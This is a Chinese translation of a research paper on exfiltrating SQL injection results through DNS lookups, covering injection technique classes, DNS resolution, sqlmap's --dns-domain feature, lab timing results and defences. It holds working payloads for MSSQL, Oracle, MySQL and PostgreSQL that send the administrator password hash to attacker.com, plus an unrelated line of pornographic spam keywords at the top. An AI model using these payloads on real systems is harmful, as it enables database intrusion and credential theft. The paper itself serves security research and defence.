av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

隱蔽的滲出:在SQL注入中使用DNS獲取數(shù)據(jù)

0x00 前言

本文描述了一種利用DNS解析過程獲取惡意SQL查詢結(jié)果的先進(jìn)的SQL注入技術(shù)。帶有sql查詢結(jié)果的DNS請求最終被攻擊者控制的遠(yuǎn)程域名服務(wù)器攔截并提取出寶貴的數(shù)據(jù)。

開源SQL注入工具—SqlMap現(xiàn)在已經(jīng)可以自動(dòng)完成這個(gè)任務(wù)。隨著SqlMap的升級完成,攻擊者可以使用此技術(shù)進(jìn)行快速而低調(diào)的數(shù)據(jù)檢索,尤其是在其他標(biāo)準(zhǔn)方法失敗的情況下。

0x01 介紹

滲出是一個(gè)軍事術(shù)語,指的是通過隱蔽手段從敵人的領(lǐng)土內(nèi)部盜取資產(chǎn)。如今它在計(jì)算機(jī)上有一個(gè)絕佳的用法,指的是非法從一個(gè)系統(tǒng)中提取數(shù)據(jù)。從域名服務(wù)器(DNS)中提取數(shù)據(jù)的方法被認(rèn)為是最隱蔽的滲出方法。這種方法甚至可以通過一系列的信任主機(jī)以外的內(nèi)部和外部域名服務(wù)器進(jìn)行域名查詢而用于沒有公共網(wǎng)絡(luò)連接的系統(tǒng)。

DNS是一個(gè)相對簡單的協(xié)議。DNS客戶端發(fā)送的查詢語句和相應(yīng)的DNS服務(wù)器返回的響應(yīng)語句都使用相同的基本的DNS消息格式。除了區(qū)傳送為提高其可靠性使用TCP以外,DNS報(bào)文都使用UDP封裝。如果有人使用了Wireshark之類的工具監(jiān)視機(jī)器,一個(gè)使用了DNS的隱蔽信道看起來像一系列轉(zhuǎn)瞬即逝的小光點(diǎn)。

從安全系統(tǒng)中轉(zhuǎn)播DNS查詢到任意基于互聯(lián)網(wǎng)的域名服務(wù)器是實(shí)現(xiàn)這一不受控制數(shù)據(jù)信道的基礎(chǔ)。即使我們假設(shè)目標(biāo)主機(jī)不被允許連接到公共網(wǎng)絡(luò),如果目標(biāo)主機(jī)能夠解析任意域名,數(shù)據(jù)還是可能可以經(jīng)由轉(zhuǎn)發(fā)DNS查詢而滲出。

當(dāng)其他更快的SQL注入(SQLI)數(shù)據(jù)檢索技術(shù)失敗時(shí),攻擊者通常會(huì)使用逐位檢索數(shù)據(jù)的方法,這是一個(gè)非常繁雜而費(fèi)時(shí)的流程。因此,攻擊者通常需要發(fā)送成千上萬的請求來獲取一個(gè)普通大小的表的內(nèi)容。我們將要提到的是一種攻擊者通過利用有漏洞數(shù)據(jù)庫管理系統(tǒng)(DBMS)發(fā)起特制的DNS請求,并在另一端進(jìn)行攔截來檢索惡意SQL語句結(jié)果(例如管理員密碼),每個(gè)循環(huán)可傳輸幾十個(gè)結(jié)果字符的技術(shù)。

0x02 技術(shù)分類

根據(jù)用于數(shù)據(jù)檢索的傳輸信道,SQLi可分為三個(gè)獨(dú)立的類別:inband, inference(推理) 和out-of-band。

Inband技術(shù)使用攻擊者和有漏洞的Web應(yīng)用程序之間現(xiàn)有的渠道來提取數(shù)據(jù)。通常該通道是標(biāo)準(zhǔn)的Web服務(wù)器響應(yīng)。它的成員union技術(shù)使用現(xiàn)有的web頁面輸出惡意SQL查詢的執(zhí)行結(jié)果,而error-based技術(shù)則引發(fā)特定的惡意SQL查詢的執(zhí)行結(jié)果的DBMS的錯(cuò)誤消息。

相反的,在Inference技術(shù)中,攻擊者通過應(yīng)用程序表現(xiàn)的差異來推斷數(shù)據(jù)的值。Inference技術(shù)能夠逐位提取惡意SQL查詢結(jié)果,卻沒有真正傳輸數(shù)據(jù)。

Inference的核心是在服務(wù)器執(zhí)行一系列的布爾查詢,觀察和最后推導(dǎo)接收結(jié)果的含義。根據(jù)觀察到的特性,它的成員被稱為布爾型盲注(bool)和基于時(shí)間(time-based)的盲注技術(shù)。在布爾型盲注技術(shù)中,可見的網(wǎng)絡(luò)服務(wù)器響應(yīng)內(nèi)容的變化被用于區(qū)分給定的邏輯問題的答案,

而在基于時(shí)間的盲注技術(shù)中則通過觀察Web服務(wù)器響應(yīng)時(shí)間的變化來推斷答案。

Out-of-band (OOB)技術(shù),與inband相反,使用其它傳輸信道獲取數(shù)據(jù),例如超文本傳輸協(xié)議和DNS解析協(xié)議。當(dāng)詳細(xì)的錯(cuò)誤信息被禁用、結(jié)果被限制或過濾、出站過濾規(guī)則不嚴(yán)和/或當(dāng)減少查詢的數(shù)目變得極度重要時(shí)inference技術(shù)看起來像是唯一的選擇,這時(shí)使用OOB技術(shù)滲透便變得十分有趣。例如,基于HTTP的OOB技術(shù)的SQL查詢結(jié)果變成了發(fā)送給HTTP服務(wù)器請求的一部分(例如GET參數(shù)值)被能訪問日志文件的攻擊者控制時(shí)。此類的技術(shù)不像其它的主流技術(shù)被廣泛應(yīng)用,主要是其所需的設(shè)置非常復(fù)雜,但使用它們可以克服許多障礙(如避免不必要的數(shù)據(jù)庫寫入和極大地提升利用INSERT/UPDATE語句漏洞的基于時(shí)間的SQLI)。#p#

0x03 DNS解析

當(dāng)一個(gè)客戶端需要查找程序中使用的網(wǎng)絡(luò)名時(shí),它會(huì)查詢DNS服務(wù)器。DNS查詢有許多不同的解析方式:

如果信息已經(jīng)被預(yù)先用相同的查詢獲得,客戶端可以使用本地緩存信息應(yīng)答查詢。

DNS服務(wù)器可以使用其自己的高速緩存和/或區(qū)記錄的信息來應(yīng)答查詢 - 這個(gè)過程被稱為迭代。

DNS服務(wù)器也可以轉(zhuǎn)發(fā)查詢給代表所請求的客戶端的其他DNS服務(wù)器以全面解析名稱,然后將回應(yīng)發(fā)送回客戶端 - 這個(gè)過程被稱為遞歸。

例如,使用遞歸過程解析名稱test.example.com。這種情況發(fā)生于DNS服務(wù)器和客戶端都是第一次啟動(dòng)且沒有能用來解析域名查詢的本地緩存信息。此外,假設(shè)客戶端發(fā)起的域名查詢是一個(gè)本地沒有其配置區(qū)域信息的域名。

首先,默認(rèn)的DNS服務(wù)器解析域名的全名并且確定該域名是一個(gè)需要知道地址的權(quán)威的頂級域名(TLD)服務(wù)器--在這個(gè)案例的域名中。然后,它使用迭代(非遞歸)查詢該服務(wù)器來獲得推薦的example.com域。

當(dāng)它的地址被完成檢索后,被引用的服務(wù)器會(huì)被聯(lián)接--這實(shí)際上是一個(gè)注冊example.com域的域名服務(wù)器。因?yàn)樗渲玫膮^(qū)域包含了查詢的域名,它會(huì)將所得到的IP地址作為一個(gè)權(quán)威響應(yīng)返回給發(fā)起該過程的原始服務(wù)器。

當(dāng)原始的DNS服務(wù)器接收到所請求的查詢所獲得的權(quán)威響應(yīng),它轉(zhuǎn)發(fā)該響應(yīng)回客戶端,遞歸查詢過程結(jié)束。 這類的解決方案通常由DNS服務(wù)器嘗試解析DNS客戶端發(fā)起的遞歸域名查詢時(shí)發(fā)起的,并且有時(shí)被稱為“遍歷樹”(walking the tree)。

0x04 引發(fā)DNS請求

成功利用DNS從有漏洞的數(shù)據(jù)庫中滲出數(shù)據(jù)的前提條件是DBMS中有可用的能直接或間接引發(fā)DNS解析過程的子程序。 然后這類的子程序被攻擊者利用,作為攻擊的媒介。

任何可以接受網(wǎng)絡(luò)地址的函數(shù)是最有可能被利用來進(jìn)行這種攻擊的。

?4.1 Microsoft SQL Server

擴(kuò)展存儲程序是一個(gè)直接運(yùn)行在微軟的地址空間庫SQL服務(wù)器(MSSQL)的動(dòng)態(tài)鏈接。有幾個(gè)未被公開說明的擴(kuò)展存儲程序?qū)τ趯?shí)現(xiàn)本文的目的特別有用的。

攻擊者可以使用Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴(kuò)展存儲程序引發(fā)DNS地址解析。Windows系統(tǒng)的UNC語法具有通用的形式:?

\\ComputerName\SharedFolder\Resource

攻擊者能夠通過使用自定義制作的地址作為計(jì)算機(jī)名字段的值引發(fā)DNS請求。

4.1.1 master..xp_dirtree

擴(kuò)展存儲程序master..xp_dirtree()用于獲取所有文件夾的列表和給定文件夾內(nèi)部的子文件夾:

master..xp_dirtree ''

例如,要獲得C:\Windows run:里的所有文件夾和子文件夾:

EXEC master..xp_dirtree 'C:\Windows';

4.1.2 master..xp_fileexist

擴(kuò)展存儲程序master..xp_fileexist()用于確定一個(gè)特定的文件是否存在于硬盤:?xp_fileexist '' 例如,要檢查boot.ini文件是否存在于磁盤C 運(yùn)行:

EXEC master..xp_fileexist 'C:\boot.ini';

4.1.3 master..xp_subdirs

擴(kuò)展存儲程序master..xp_subdirs()用于得到給定的文件夾內(nèi)的文件夾列表:?

master..xp_subdirs ''

例如,要獲得C:\Windows中的所有次級文件夾:?

'EXEC master..xp_subdirs 'C:\Windows';

4.1.4例子

接下來的是的通過MsSQL的擴(kuò)展存儲程序master..xp_dirtree()將管理員(sa)的密碼哈希通過DNS傳輸?shù)睦印? 

 
 
 
 
  1. DECLARE @host varchar(1024);?      
  2.    
  3. SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com';  
  4. ?EXEC('master..xp_dirtree "\\'+@host+'\foobar$"'); 

 這種預(yù)先計(jì)算的形式被使用,因?yàn)閿U(kuò)展存儲程序不接受帶有參數(shù)的子查詢。因而使用臨時(shí)變量存儲SQL查詢的結(jié)果。#p#

4.2 Oracle?

Oracle提供的PL/ SQL包被捆綁在它的Oracle數(shù)據(jù)庫服務(wù)器來擴(kuò)展數(shù)據(jù)庫功能。為了實(shí)現(xiàn)本文的目的,其中幾個(gè)用于網(wǎng)絡(luò)接入的包讓人特別感興趣。

?4.2.1 UTL_INADDR.GET_HOST_ADDRESS

UTL_INADDR包用于互聯(lián)網(wǎng)的尋址--諸如檢索本地和遠(yuǎn)程主機(jī)的主機(jī)名和IP的地址。

它的成員函數(shù)GET_HOST_ADDRESS()用于檢索特定主機(jī)的IP:

UTL_INADDR.GET_HOST_ADDRESS('')

例如,為了獲得test.example.com的IP地址,運(yùn)行:

?SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');

4.2.2 UTL_HTTP.REQUEST

UTL_HTTP包用于從SQL和PL/SQL中標(biāo)注出HTTP。 它的程序REQUEST()回從給定的地址檢索到的第1-2000字節(jié)的數(shù)據(jù):?UTL_HTTP.REQUEST('')

例如,為了獲得http://test.example.com/index.php頁面的前兩千字節(jié)的數(shù)據(jù),運(yùn)行:

?SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;?

4.2.3 HTTPURITYPE.GETCLOB

HTTPURITYPE類的實(shí)例方法GETCLOB()返回從給定地址中檢索到的CLOB(Character Large Object)?HTTPURITYPE('').GETCLOB()

例如,從頁面http://test.example.com/index.php開始內(nèi)容檢索 運(yùn)行:

SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;

4.2.4 DBMS_LDAP.INIT

DBMS_LDAP包使得PL/SQL程序員能夠訪問輕量級目錄訪問協(xié)議(LDAP)服務(wù)器。它的程序INIT()用于初始化與LDAP服務(wù)器的會(huì)話:?DBMS_LDAP.INIT(('', )

例如:初始化與主機(jī)test.example.com的連接 運(yùn)行:

?SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;

攻擊者可以使用任何以上提到的Oracle子程序發(fā)起DNS請求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能導(dǎo)致網(wǎng)絡(luò)訪問子程序都受到限制。?

4.2.5例子

以下例子是系統(tǒng)管理員(SYS)的密碼哈希被Oracle程序DBMS_LDAP.INIT()通過DNS解析機(jī)制傳輸:

?SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;?

#p#

4.3 MySQL?

4.3.1 LOAD_FILE

MySQL的函數(shù)LOAD_FILE()讀取文件內(nèi)容并將其作為字符串返回:?LOAD_FILE('')

例如,要獲取C:\Windows\system.ini文件的內(nèi)容 運(yùn)行:

?SELECT LOAD_FILE('C:\\Windows\\system.ini') ;?

4.3.2例子

以下是使用MySQL的函數(shù)LOAD_FILE()將系統(tǒng)管理員的密碼通過DNS解析機(jī)制傳輸?shù)睦樱?

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'? LIMIT 1),'.attacker.com\\foobar'));

4.4 PostgreSQL

?4.4.1 COPY

PostgreSQL的聲明COPY用于在文件系統(tǒng)的文件和表之間拷貝數(shù)據(jù):

COPY (,...) FROM ''

例如,為了將C:\Windows\Temp\users.txt的文件內(nèi)容拷貝到含有唯一列names的users表中 運(yùn)行:?

COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'?

4.4.2例子 以下是使用PostgreSQL的聲明COPY將系統(tǒng)管理員的密碼通過DNS解析機(jī)制傳輸?shù)睦樱?/p>

 
 
 
 
  1. DROP TABLE IF EXISTS table_output;?      
  2.    
  3. CREATE TABLE table_output(content text);  
  4.    
  5. ?CREATE OR REPLACE FUNCTION temp_function()?      
  6.    
  7. RETURNS VOID AS $$  
  8.    
  9. ?DECLARE exec_cmd TEXT;?      
  10.    
  11. DECLARE query_result TEXT;?      
  12.    
  13. BEGIN?    SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');?      
  14.    
  15. exec_cmd := E'COPY table_output(content)FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';  
  16.    
  17. ?EXECUTE exec_cmd;?    END;?      
  18.    
  19. $$ LANGUAGE plpgsql SECURITY DEFINER;  
  20.    
  21. ?SELECT temp_function(); 

這種預(yù)先計(jì)算的形式被使用,因?yàn)镾QL的聲明COPY不接受子查詢。

同時(shí),PostgreSQL的變量都必須被明確地聲明并在子程序(函數(shù)或者程序)范圍內(nèi)使用。因此使用用戶自定義的存儲功能。#p#

0x05 實(shí)施

如前所述,我選擇的工具SQL注入工具是SqlMap,主要是因?yàn)楸疚牡淖髡咭彩撬拈_發(fā)者之一,并升級它使其支持DNS滲出。新的命令行選項(xiàng)--dns-domain已經(jīng)被添加用于運(yùn)行新的程序流程。有了它,用戶可以打開DNS滲出的支持,并且通知SqlMap所有被引發(fā)DNS解析請求應(yīng)指向給定域(例如--dns-domain=attacker.com)。

域名服務(wù)器條目(如ns1.attacker.com)必須包含一臺正在運(yùn)行SqlMap的機(jī)器的IP地址。

在那里,SqlMap作為虛假的名稱服務(wù)器運(yùn)行,提供有效(但假)的響應(yīng)從而引發(fā)傳入的DNS解析請求。虛假的返回響應(yīng)服務(wù)被運(yùn)行只是為了立刻解鎖等待中的Web服務(wù)器,而不帶有結(jié)果,因?yàn)槌绦虿皇窃谔幚砭W(wǎng)頁內(nèi)容本身。

對于每一個(gè)被下載項(xiàng)目,SqlMap都會(huì)發(fā)送里面帶有特制的SQLI DNS滲出向量的正常HTTP請求,而在后臺運(yùn)行和記錄所有傳入的DNS請求。由于每個(gè)惡意的SQL查詢結(jié)果被獨(dú)特的隨機(jī)選擇的前綴和后綴字符串封閉,不難分辨該DNS解析請求來自哪個(gè)SQLIDNS滲出向量。另外,由于那些隨機(jī)的封閉字符,幾乎所有的DNS緩存機(jī)制都失效了,幾乎是在強(qiáng)迫服務(wù)器進(jìn)行遞歸DNS解析。目前已經(jīng)全面實(shí)現(xiàn)了對DBMSes MsSQL, Oracle, MySQL 和?PostgreSQL 的支持。但是,如前面提到的,只有Oracle能夠同時(shí)支持Windows和Linux后端平臺的攻擊,因?yàn)槠渌麛?shù)據(jù)庫需要支持處理Windows UNC文件路徑格式。

在SqlMap運(yùn)行時(shí),union和error-based技術(shù)具有最高優(yōu)先級,主要因?yàn)樗麄兊乃俣瓤於也恍枰厥獾囊蟆?/p>

因此,只有當(dāng)緩慢inference技術(shù)方法是可用的且選項(xiàng)--dns-domain被用戶明確設(shè)置時(shí),SqlMap才會(huì)打開對DNS滲出的支持。 每個(gè)DNS解析請求結(jié)果都被按照RFC1034規(guī)定的DNS域名標(biāo)準(zhǔn)編碼為十六進(jìn)制格式。

這種方式使得最終一切非單詞字符都能被保留。此外,表示較長的SQL查詢結(jié)果的十六進(jìn)制被分割。這是必須做的,因?yàn)檎麄€(gè)域名內(nèi)的節(jié)點(diǎn)標(biāo)簽(如.example.)被限制在63個(gè)字符長度大小。

 #p#

0x06 實(shí)驗(yàn)設(shè)置和結(jié)果

為了進(jìn)行實(shí)驗(yàn)需要配置和使用三臺機(jī)器:

?1)攻擊機(jī)(172.16.138.1)-物理機(jī)

Ubuntu 12.04 LTS 64-bit OS running latest?

sqlmap v1.0-dev (r5100)12?

2) Web (172.16.138.129) –服務(wù)器-虛擬機(jī)

with Windows XP 32-bit SP1 OS running a?XAMPP 1.7.3 instance containing deliberately SQLi vulnerable MySQL/PHP web application

?3) DNS服務(wù)器(172.16.138.130) –虛擬機(jī)

with CentOS 6.2 64-bit OS running a BIND

使用VMware Workstation 8.0.2制造虛擬環(huán)境。所有的測試都在本地虛擬網(wǎng)絡(luò)(172.16.138.0/24)中進(jìn)行。攻擊機(jī)被用于攻擊有漏洞的web服務(wù)器DNS服務(wù)器被用于注冊域名服務(wù)器并處理web服務(wù)器對域名attacker.com的 DNS解析并將它們返回到攻擊機(jī)。

所有的SqlMap支持的技術(shù)都進(jìn)行了測試,包括最新實(shí)現(xiàn)支持的DNS滲出。HTTP請求的數(shù)量和所花費(fèi)的時(shí)間都被系統(tǒng)的information_schema表記錄、測量。COLLATIONS表用于被拖(大概4KB)。

表1.SQLI技術(shù)的速度對比

0x07 討論

從表1中給出的結(jié)果可以看出,inband技術(shù)(union和error-based)是最快的方法,而inference技術(shù)(布爾型盲注和基于時(shí)間的盲注)是最慢的。

DNS滲出,如預(yù)期那樣,比最慢的inband(error-based)慢,但比最快的推斷方法(布爾型盲注)快。

基于時(shí)間的盲注很明顯太慢了。 現(xiàn)實(shí)中,因?yàn)檫B接的延遲和需要時(shí)間加載正常尺寸的頁面,所有的技術(shù)注定會(huì)因每個(gè)請求的而有額外的延遲。

在使用SQLI攻擊有漏洞頁面時(shí)一個(gè)小的表會(huì)被返回,這使得連接讀取得非???。

此外,在現(xiàn)實(shí)生活中的場景中,不必要的連接延遲將引起time-based技術(shù)需要更高的延遲時(shí)間,使得dump進(jìn)程更慢。

在真實(shí)的生活場景中還有一個(gè)事實(shí)是,DNS滲出的技術(shù)在使用非本地的DNS服務(wù)器將有額外的延遲。

然而,它和inference技術(shù)之間差別仍然很大,因?yàn)楹笳咝枰嗟臅r(shí)間去恢復(fù)相同的數(shù)據(jù)將需要更多的時(shí)間來檢索,而為了得到相同的數(shù)據(jù)后者必然有更多的請求。

總而言之,DNS滲出技術(shù)的數(shù)值看起來更好一點(diǎn),使其成為inference方法的一個(gè)完美的替代品。

圖3: 捕獲到的SqlMap使用DNS滲出時(shí)的流量#p#

0x08 防范技巧

?為了預(yù)防所本文描述的攻擊,首先要避免SQLI具有最高的優(yōu)先權(quán)。

使用預(yù)處理語句被認(rèn)為是最安全的預(yù)防措施。

預(yù)處理語句能在SQL命令被插入的時(shí)候確保查詢的意圖不被攻擊者改變。?

但像magic_quote()和addslashes()那樣的各種禁制機(jī)制并不能完全防止SQLI漏洞的存在或利用,因?yàn)樵谀承┘夹g(shù)配合使用的環(huán)境條件下,攻擊者仍能利用該漏洞。

相反,如果不使用預(yù)處理語句,推薦使用輸入校檢拒絕惡意的輸入,而不是轉(zhuǎn)義或修飾。

管理員應(yīng)該準(zhǔn)備好應(yīng)對未經(jīng)授權(quán)的底層數(shù)據(jù)庫訪問。

好多反擊措施是將所有數(shù)據(jù)庫的訪問限制在最低權(quán)限。

因此,任何給定的權(quán)限應(yīng)該被授予最少的代碼在最短的持續(xù)時(shí)間內(nèi)完成工作。

根據(jù)這一原則,用戶必須只能獲得必要的信息和資源。

最后一步,為了成功最后緩解DNS滲出攻擊,管理員必須確保所有不必要的系統(tǒng)子程序的執(zhí)行是被限制的。

如果一切都失敗了,攻擊者必須不能夠運(yùn)行那些可以發(fā)起DNS請求的程序。

現(xiàn)在有一些檢測域內(nèi)DNS流量中惡意活動(dòng)的工作,但大多缺乏實(shí)際和主流的解決方案,所以在這里并不提及。?9總結(jié) 本文證明攻擊者如何使用DNS滲出技術(shù)大大加快相對緩慢的inference SQLI技術(shù)的數(shù)據(jù)檢索。

此外,該技術(shù)只對有漏洞的Web服務(wù)器進(jìn)行必需的請求,從而大幅降低服務(wù)器的繁忙程度。

由于需要控制域名服務(wù)器,它可能不會(huì)被多數(shù)攻擊者所使用。

但它再實(shí)施上很簡單的,因此它的實(shí)際價(jià)值是不可忽略的。

SqlMap已經(jīng)對它實(shí)現(xiàn)支持,因此所有人都可以對它進(jìn)行進(jìn)一步研究。

0x09 參考文獻(xiàn)

1 sqlmap – automatic SQL injection and database takeover tool, Bernardo Damele A. G., Miroslav ?tampar, http://www.sqlmap.org/?

2 Exfiltration: How Hackers Get the Data Out, Jart Armin, May 2011, http://news.hostexploit.com/cybercrimenews/4877-exfiltration-how-hackers-get-thedata-out.html?

3 Wireshark - network protocol analyzer, Wireshark Foundation,https://www.wireshark.org/?

4 The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, Bill Blunden, WordWare Publishing, Inc., 2009

5 DNS as a Covert Channel Within Protected Networks,Seth Bromberger , National Electric Sector Cyber Security Organization (NESCO), January 2001,http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/DNS_Exfiltration_2011-01-01_v1.1.pdf?

6 Data-mining with SQL Injection and Inference, DavidLitchfield, An NGSSoftware Insight Security Research Publication, September 2005,http://www.nccgroup.com/Libraries/Document_Downloads/Data Mining_With_SQL_Injection_and_Inference.sflb.ashx?

7 Advanced SQL Injection, Joseph McCray, February 2009,http://www.slideshare.net/joemccray/AdvancedSQLInjectionv2

8 SQL Injection and Data Mining through Inference,David Litchfield, BlackHat EU, 2005,?https://www.blackhat.com/presentations/bheurope-05/bh-eu-05-litchfield.pdf?

9 SQL – Injection & OOB – channels, Patrik Karlsson,DEF CON 15, August 2007,https://www.defcon.org/images/defcon15/dc15-presentations/dc-15-karlsson.pdf?

10 The TCP/IP Guide: A Comprehensive, Illustrated Internet Protocols Reference, Charles M. Kozierok, NoStarch Press, 2005

11 How DNS query works, Microsoft TechNet, January 2005,http://technet.microsoft.com/en?us/library/cc775637(v=ws.10).aspx?

12 Microsoft Windows 2000 DNS: Implementation and Administration, Kevin Kocis, Sams Publishing, 2001?

13 Useful undocumented extended stored procedures,Alexander Chigrik, 2010,http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm?

14 Oracle9i XML API Reference - XDK and OracleXML DB (Release 2), Oracle Corporation, March 2002,http://docs.oracle.com/cd/B10501_01/appdev.920/a96616.pdf?

15 Hacking Oracle From Web Apps, Sumit Siddharth,Aleksander Gorkowienko, 7Safe, DEF CON 18,November 2010,https://www.defcon.org/images/defcon-18/dc18-presentations/Siddharth/DEFCON-18-Siddharth-Hacking-Oracle-From-Web.pdf

?16 Exploiting PL/SQL Injection With Only CREATE SESSION Privileges in Oracle 11g, David Litchfield, AnNGSSoftware Insight Security Research Publication,October 2009,?http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf

17 RFC 1034: Domain Names – Concepts andFacilities, Paul Mockapetris, November 1987,https://www.ietf.org/rfc/rfc1034.txt

?18 SQL Injection Prevention Cheat Sheet, Open Web Application Security Project, March 2012,https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet?

19 Parametrized SQL statement, Rosetta Code, August 2011,http://rosettacode.org/wiki/Parametrized_SQL_statement

20 SQL Injection Attacks and Defense, Justin Clarke,Syngress, 2009?

21 addslashes() Versus mysql_real_escape_string(),Chris Shiflett, January 2006,http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string?

22 Advanced SQL Injection, Victor Chapela, Sm4rtSecurity Services, OWASP, November 2005,https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt?

23 Security Overview (ADO.NET), MSDN, Microsoft,2012.,http://msdn.microsoft.com/enus/library/hdb58b2f.aspx?

24 The Web Application Hacker's Handbook: Findingand Exploiting Security Flaws, Dafydd Stuttard, MarcusPinto, John Wiley & Sons, 2011?

25 Detecting DNS Tunnels Using Character Frequency Analysis, Kenton Born, Dr. David Gustafson, Kansas State University, April 2010,http://arxiv.org/pdf/1004.4358.pdf

26 Finding Malicious Activity in Bulk DNS Data, EdStoner, Carnegie Mellon University, 2010,?www.cert.org/archive/pdf/research-rpt2009/stoner-mal-act.pdf

原文地址: http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf


當(dāng)前名稱:隱蔽的滲出:在SQL注入中使用DNS獲取數(shù)據(jù)
地址分享:http://uogjgqi.cn/article/djpsdod.html
掃二維碼與項(xiàng)目經(jīng)理溝通

我們在微信上24小時(shí)期待你的聲音

解答本文疑問/技術(shù)咨詢/運(yùn)營咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流